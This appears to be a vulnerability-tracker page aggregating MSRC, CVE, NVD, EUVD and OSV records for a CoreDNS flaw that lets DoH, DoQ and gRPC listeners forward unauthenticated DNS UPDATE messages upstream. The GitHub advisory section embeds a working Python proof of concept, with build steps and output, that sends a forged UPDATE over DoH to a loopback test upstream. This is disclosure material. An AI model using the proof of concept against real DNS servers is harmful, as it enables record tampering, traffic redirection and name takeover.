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CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP

No KEV listing collectedCVSS 5.9Fix not stated

Assessment

Severity
Moderate
CVSS base score
5.9
Impact
Not stated
Exploitation detected
Unknown: not stated by MSRC
Exploitability
Not assessed
Publicly disclosed
Unknown: not stated by MSRC
EPSS · 30-day forecast
No EPSS score collected
Customer action
Required: follow the MSRC remediation guidance
More details
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Public detection template
No Nuclei template is listed in the current collected catalog
Component
Mariner
Weakness
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
Issued by
GitHub_M
Published
18 Sep 2026 · September 2026
Last revised
7 Oct 2026Information published.
CVSS 3.1 base metricsRed raises the risk · green lowers it
Attack vector
NetworkAV:N
Attack complexity
HighAC:H
Privileges required
NonePR:N
User interaction
NoneUI:N
Scope
UnchangedS:U
Confidentiality
NoneC:N
Integrity
HighI:H
Availability
NoneA:N

Updates that fix it

0 KBs

No KB listed

No KB update is listed in the collected MSRC record. Check the MSRC advisory for product releases and other remedies.

Affected products

Open Source Software
2 affected products
  • azl3 coredns 1.11.4-20 on Azure Linux 3.0
  • azl3 coredns 1.11.4-21 on Azure Linux 3.0

What changed

  1. Detection template: Unknown: detection-template evidence is incomplete or retained → No Nuclei template listed
  2. Detection template: No Nuclei template listed → Unknown: detection-template evidence is incomplete or retained
  3. Detection template: Unknown: detection-template evidence is incomplete or retained → No Nuclei template listed
  4. Detection template: No Nuclei template listed → Unknown: detection-template evidence is incomplete or retained
  5. Detection template: Unknown: detection-template evidence is incomplete or retained → No Nuclei template listed
  6. Detection template: No Nuclei template listed → Unknown: detection-template evidence is incomplete or retained
  7. Detection template: No Nuclei template listed · Customer action: Required: apply the update → Required: follow the MSRC remediation guidance · Public disclosure: No → Unknown: not stated by MSRC · Exploitation detected: Not reported by MSRC → Unknown: not stated by MSRC
  8. Detection template: Unknown: exploit-code evidence is incomplete or retained → No Nuclei template listed · CISA KEV: Unknown: catalog evidence is incomplete or retained → Not listed in the collected catalog
  9. Detection template: No Nuclei template listed → Unknown: exploit-code evidence is incomplete or retained · CISA KEV: Not listed in the collected catalog → Unknown: catalog evidence is incomplete or retained
Page history

Changes are dated when recorded; day views use the last saved version from that UTC day, and citations stay fixed.

Cite this version
Field-level log (43)

Up to 100 recent field edits are shown; older edits may be outside retention.

  1. 13 Nov 2026 · 12:10:20 UTC Public detection templateUnknown: detection-template evidence is incomplete or retained → No Nuclei template listed
  2. 13 Nov 2026 · 12:10:20 UTC Source coverage: public-exploit-codeIncomplete → Current
  3. 13 Nov 2026 · 12:10:20 UTC Source coverage: first-epssIncomplete → Current
  4. 13 Nov 2026 · 12:10:20 UTC Source coverage: msrc-cvrfIncomplete → Current
  5. 13 Nov 2026 · 11:07:20 UTC Public detection templateNo Nuclei template listed → Unknown: detection-template evidence is incomplete or retained
  6. 13 Nov 2026 · 11:07:20 UTC Source coverage: public-exploit-codeCurrent → Incomplete
  7. 13 Nov 2026 · 11:07:20 UTC Source coverage: first-epssCurrent → Incomplete
  8. 13 Nov 2026 · 11:07:20 UTC Source coverage: msrc-cvrfCurrent → Incomplete
  9. 6 Nov 2026 · 17:32:22 UTC Public detection templateUnknown: detection-template evidence is incomplete or retained → No Nuclei template listed
  10. 6 Nov 2026 · 17:32:22 UTC Source coverage: public-exploit-codeIncomplete → Current
  11. 6 Nov 2026 · 17:32:22 UTC Source coverage: first-epssIncomplete → Current
  12. 6 Nov 2026 · 17:32:22 UTC Source coverage: msrc-cvrfIncomplete → Current
  13. 6 Nov 2026 · 16:31:02 UTC Public detection templateNo Nuclei template listed → Unknown: detection-template evidence is incomplete or retained
  14. 6 Nov 2026 · 16:31:02 UTC Source coverage: public-exploit-codeCurrent → Incomplete
  15. 6 Nov 2026 · 16:31:02 UTC Source coverage: first-epssCurrent → Incomplete
  16. 6 Nov 2026 · 16:31:02 UTC Source coverage: msrc-cvrfCurrent → Incomplete
  17. 2 Nov 2026 · 17:30:39 UTC Public detection templateUnknown: detection-template evidence is incomplete or retained → No Nuclei template listed
  18. 2 Nov 2026 · 17:30:39 UTC Source coverage: public-exploit-codeIncomplete → Current
  19. 2 Nov 2026 · 17:30:39 UTC Source coverage: first-epssIncomplete → Current
  20. 2 Nov 2026 · 17:30:39 UTC Source coverage: msrc-cvrfIncomplete → Current
  21. 2 Nov 2026 · 16:27:39 UTC Public detection templateNo Nuclei template listed → Unknown: detection-template evidence is incomplete or retained
  22. 2 Nov 2026 · 16:27:39 UTC Source coverage: public-exploit-codeCurrent → Incomplete
  23. 2 Nov 2026 · 16:27:39 UTC Source coverage: first-epssCurrent → Incomplete
  24. 2 Nov 2026 · 16:27:39 UTC Source coverage: msrc-cvrfCurrent → Incomplete
  25. 29 Oct 2026 · 20:19:26 UTC Public detection templateNo Nuclei template listed
  26. 29 Oct 2026 · 20:19:26 UTC EPSSNot scored → No EPSS score collected
  27. 29 Oct 2026 · 20:19:26 UTC Customer actionRequired: apply the update → Required: follow the MSRC remediation guidance
  28. 29 Oct 2026 · 20:19:26 UTC Publicly disclosedNo → Unknown: not stated by MSRC
  29. 29 Oct 2026 · 20:19:26 UTC Exploitation detectedNot reported by MSRC → Unknown: not stated by MSRC
  30. 23 Oct 2026 · 09:33:49 UTC Public exploit codeUnknown: exploit-code evidence is incomplete or retained → No Nuclei template listed
  31. 23 Oct 2026 · 09:33:49 UTC CISA KEVUnknown: catalog evidence is incomplete or retained → Not listed in the collected catalog
  32. 23 Oct 2026 · 09:33:49 UTC Source coverage: public-exploit-codeIncomplete → Current
  33. 23 Oct 2026 · 09:33:49 UTC Source coverage: first-epssIncomplete → Current
  34. 23 Oct 2026 · 09:33:49 UTC Source coverage: cisa-kevIncomplete → Current
  35. 23 Oct 2026 · 09:33:49 UTC Source coverage: msrc-cvrfIncomplete → Current
  36. 23 Oct 2026 · 08:31:50 UTC Public exploit codeNo Nuclei template listed → Unknown: exploit-code evidence is incomplete or retained
  37. 23 Oct 2026 · 08:31:50 UTC CISA KEVNot listed in the collected catalog → Unknown: catalog evidence is incomplete or retained
  38. 23 Oct 2026 · 08:31:50 UTC Source coverage: public-exploit-codeCurrent → Incomplete
  39. 23 Oct 2026 · 08:31:50 UTC Source coverage: first-epssCurrent → Incomplete
  40. 23 Oct 2026 · 08:31:50 UTC Source coverage: cisa-kevCurrent → Incomplete
  41. 23 Oct 2026 · 08:31:50 UTC Source coverage: msrc-cvrfCurrent → Incomplete
  42. 18 Oct 2026 · 14:54:30 UTC Link: September 2026/security?release=2026-Sep#cves
  43. 14 Oct 2026 · 11:22:42 UTC Source coverage: msrc-cvrfIncomplete → Current

Explore global source statements, affected packages and advisory history for CVE-2026-86003. The catalog has a separate collection scope from Microsoft release records.

More advisories, affected versions and source history

Exploitation and risk

Source status

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cve-program · CVE-2026-86003

Published

CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP

CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC listeners in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack without the dns.DefaultMsgAcceptFunc request policy used by UDP, TCP, and DNS-over-TLS. An unauthenticated client can send an RFC 2136 UPDATE that the proxy or forward plugin passes unchanged to an update-capable upstream. If that upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown end-to-end TSIG, the request appears to originate from CoreDNS and can add, replace, or delete DNS records, redirect traffic, take over names, alter mail routing, or disrupt the writable zone. This issue is fixed in version 1.14.7.

Source published
16 Sep 2026 18:39:22 UTC
Source modified
17 Sep 2026 19:25:42 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

euvd · EUVD-2026-80989

Published

CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC listeners in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.…

CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC listeners in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack without the dns.DefaultMsgAcceptFunc request policy used by UDP, TCP, and DNS-over-TLS. An unauthenticated client can send an RFC 2136 UPDATE that the proxy or forward plugin passes unchanged to an update-capable upstream. If that upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown end-to-end TSIG, the request appears to originate from CoreDNS and can add, replace, or delete DNS records, redirect traffic, take over names, alter mail routing, or disrupt the writable zone. This issue is fixed in version 1.14.7.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 16, 2026, 6:39:22 PM

dateUpdated: Sep 17, 2026, 7:25:42 PM

2 related source bulletins · separate from aliases

msrc_CVE-2026-86003: CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP

CVE-2026-86003

WID-SEC-W-2026-3198: CoreDNS: Schwachstelle ermöglicht Manipulation von DNS Einträgen

CVE-2026-86003

Source published
Sep 16, 2026, 6:39:22 PM (timezone not stated)
Source modified
Sep 17, 2026, 7:25:42 PM (timezone not stated)
Saved here
15 Nov 2026 18:48:50 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

nvd · CVE-2026-86003

Published

CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC listeners in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.…

CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC listeners in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack without the dns.DefaultMsgAcceptFunc request policy used by UDP, TCP, and DNS-over-TLS. An unauthenticated client can send an RFC 2136 UPDATE that the proxy or forward plugin passes unchanged to an update-capable upstream. If that upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown end-to-end TSIG, the request appears to originate from CoreDNS and can add, replace, or delete DNS records, redirect traffic, take over names, alter mail routing, or disrupt the writable zone. This issue is fixed in version 1.14.7.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Awaiting Analysis

Weakness classifications: CWE-441

Original publisher date fields

published: 2026-09-16T19:17:51.760

lastModified: 2026-09-24T21:24:11.250

Source published
16 Sep 2026 19:17:51 UTC
Source modified
24 Sep 2026 21:24:11 UTC
Saved here
25 Oct 2026 16:19:16 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

osv · GHSA-9gm5-9rfh-m6vx

Published

CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP

### Summary CoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch. If an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records. ### Details The affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server: - [DoH and DoH3](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155) - [DoQ](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219) - [DNS-over-gRPC](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184) CoreDNS routed the message using its Zone question without checking the opcode. [`forward`](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/forward/forward.go#L113-L118) then passed the original message to the [upstream](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/proxy/connect.go#L150-L167). By contrast, [`dns.DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) allows only QUERY and NOTIFY. The fix applies that policy to the raw header via [`dnsutil.UnpackRequest`](https://github.com/coredns/coredns/blob/530b0a5ff2ad68cc0421f10dd93568945cc671c9/plugin/pkg/dnsutil/message.go#L13-L23) before any affected transport dispatches the request. ### PoC The reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server. Clone the repository and build the server: ```bash git clone [email protected]:coredns/coredns.git cd coredns git checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main go build -tags=grpcnotrace -o coredns . ``` Save this as `Corefile.poc`: ```text https://.:8053 { bind 127.0.0.1 tls plugin/tls/test_cert.pem plugin/tls/test_key.pem forward . 127.0.0.1:15354 } ``` Save this as `poc.py`: ```python #!/usr/bin/env python3 import argparse import http.client import queue import socket import ssl import struct import threading OPCODE_UPDATE = 5 TYPE_A = 1 CLASS_IN = 1 def encode_name(name): return b"".join(bytes((len(label),)) + label.encode() for label in name.rstrip(".").split(".")) + b"\x00" def update_message(): zone = encode_name("example.com.") + struct.pack("!HH", 6, CLASS_IN) update = ( encode_name("foo.example.com.") + struct.pack("!HHIH", TYPE_A, CLASS_IN, 300, 4) + socket.inet_aton("192.0.2.123") ) header = struct.pack("!HHHHHH", 0x1234, OPCODE_UPDATE << 11, 1, 0, 1, 0) return header + zone + update def read_name(message, offset): labels = [] end = None seen = set() while True: if offset >= len(message) or offset in seen: raise ValueError("invalid DNS name") seen.add(offset) length = message[offset] if length & 0xC0 == 0xC0: if offset + 1 >= len(message): raise ValueError("truncated compression pointer") if end is None: end = offset + 2 offset = ((length & 0x3F) << 8) | message[offset + 1] continue offset += 1 if length == 0: return ".".join(labels) + ".", end if end is not None else offset if length & 0xC0 or offset + length > len(message): raise ValueError("invalid DNS label") labels.append(message[offset : offset + length].decode("ascii")) offset += length def question_end(message, count): offset = 12 for _ in range(count): _, offset = read_name(message, offset) offset += 4 if offset > len(message): raise ValueError("truncated question") return offset def parse_update(message): _, flags, qdcount, _, nscount, _ = struct.unpack_from("!HHHHHH", message) if (flags >> 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount < 1: return None offset = question_end(message, qdcount) name, offset = read_name(message, offset) rrtype, rrclass, ttl, rdlength = struct.unpack_from("!HHIH", message, offset) offset += 10 rdata = message[offset : offset + rdlength] if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4: return None return name, ttl, socket.inet_ntoa(rdata) def response_for(message): ident, flags, qdcount, _, _, _ = struct.unpack_from("!HHHHHH", message) end = question_end(message, qdcount) response_flags = flags | 0x8000 return struct.pack("!HHHHHH", ident, response_flags, qdcount, 0, 0, 0) + message[12:end] def handle_message(message, peer, received): try: update = parse_update(message) response = response_for(message) except (ValueError, struct.error): return None if update is not None: received.put((peer, update)) return response def serve_udp(sock, received, stopped): while not stopped.is_set(): try: message, peer = sock.recvfrom(65535) except socket.timeout: continue except OSError: return response = handle_message(message, peer, received) if response is not None: sock.sendto(response, peer) def recv_exact(connection, size, stopped): data = bytearray() while len(data) < size and not stopped.is_set(): try: chunk = connection.recv(size - len(data)) except socket.timeout: continue if not chunk: return None data.extend(chunk) return bytes(data) if len(data) == size else None def serve_tcp(sock, received, stopped): while not stopped.is_set(): try: connection, peer = sock.accept() except socket.timeout: continue except OSError: return with connection: connection.settimeout(0.1) while not stopped.is_set(): length = recv_exact(connection, 2, stopped) if length is None: break message = recv_exact(connection, struct.unpack("!H", length)[0], stopped) if message is None: break response = handle_message(message, peer, received) if response is not None: connection.sendall(struct.pack("!H", len(response)) + response) def send_doh(host, port, payload, timeout): context = ssl._create_unverified_context() connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context) try: connection.request( "POST", "/dns-query", body=payload, headers={"Content-Type": "application/dns-message"}, ) response = connection.getresponse() body = response.read() return response.status, len(body) finally: connection.close() def main(): parser = argparse.ArgumentParser(description="Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH") parser.add_argument("--host", default="127.0.0.1") parser.add_argument("--port", type=int, default=8053) parser.add_argument("--upstream-host", default="127.0.0.1") parser.add_argument("--upstream-port", type=int, default=15354) parser.add_argument("--timeout", type=float, default=2.0) parser.add_argument("--expect", choices=("forwarded", "blocked", "either"), default="either") args = parser.parse_args() received = queue.Queue() stopped = threading.Event() udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.settimeout(0.1) udp_sock.bind((args.upstream_host, args.upstream_port)) tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) tcp_sock.settimeout(0.1) tcp_sock.bind((args.upstream_host, args.upstream_port)) tcp_sock.listen() threads = [ threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True), threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True), ] for thread in threads: thread.start() payload = update_message() try: status, response_bytes = send_doh(args.host, args.port, payload, args.timeout) try: peer, update = received.get(timeout=args.timeout) except queue.Empty: peer = update = None finally: stopped.set() udp_sock.close() tcp_sock.close() for thread in threads: thread.join(timeout=1) print("payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123" % len(payload)) print("http_status=%d response_bytes=%d" % (status, response_bytes)) if update is None: result = "blocked" print("upstream_received_update=false") else: result = "forwarded" name, ttl, address = update print("upstream_received_update=true source=%s:%d" % peer) print("upstream_record=%s %d IN A %s" % (name, ttl, address)) print("result=%s" % result) if args.expect != "either" and args.expect != result: raise SystemExit("expected %s, got %s" % (args.expect, result)) if __name__ == "__main__": main() ``` Start the vulnerable revision: ```sh ./coredns -conf Corefile.poc ``` In a second terminal, run the probe: ```console $ python3 poc.py --expect forwarded payload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123 http_status=200 response_bytes=29 upstream_received_update=true source=127.0.0.1:52391 upstream_record=foo.example.com. 300 IN A 192.0.2.123 result=forwarded ``` The ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS. For comparison, build and start CoreDNS with the fix: ```sh git checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main go build -tags=grpcnotrace -o coredns-fixed . ./coredns-fixed -conf Corefile.poc ``` The same probe is rejected before reaching the synthetic upstream: ```console $ python3 poc.py --expect blocked payload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123 http_status=400 response_bytes=16 upstream_received_update=false result=blocked ``` ### Impact Exploitation requires all of the following: - an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener - the selected `proxy`/`forward` target accepts RFC 2136 UPDATE - the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG The upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.

Source published
17 Sep 2026 20:33:05 UTC
Source modified
28 Sep 2026 17:10:39 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Publisher rating · HIGH

osv · GO-2026-6506

Published

CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP in github.com/coredns/coredns

CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP in github.com/coredns/coredns

Source published
28 Sep 2026 16:43:40 UTC
Source modified
28 Sep 2026 17:00:16 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 17 Nov 10:11 UTC · 274 of 275 readable · 250 fully read · 20 waiting for GitHub's hourly limit · documentation 469/469 current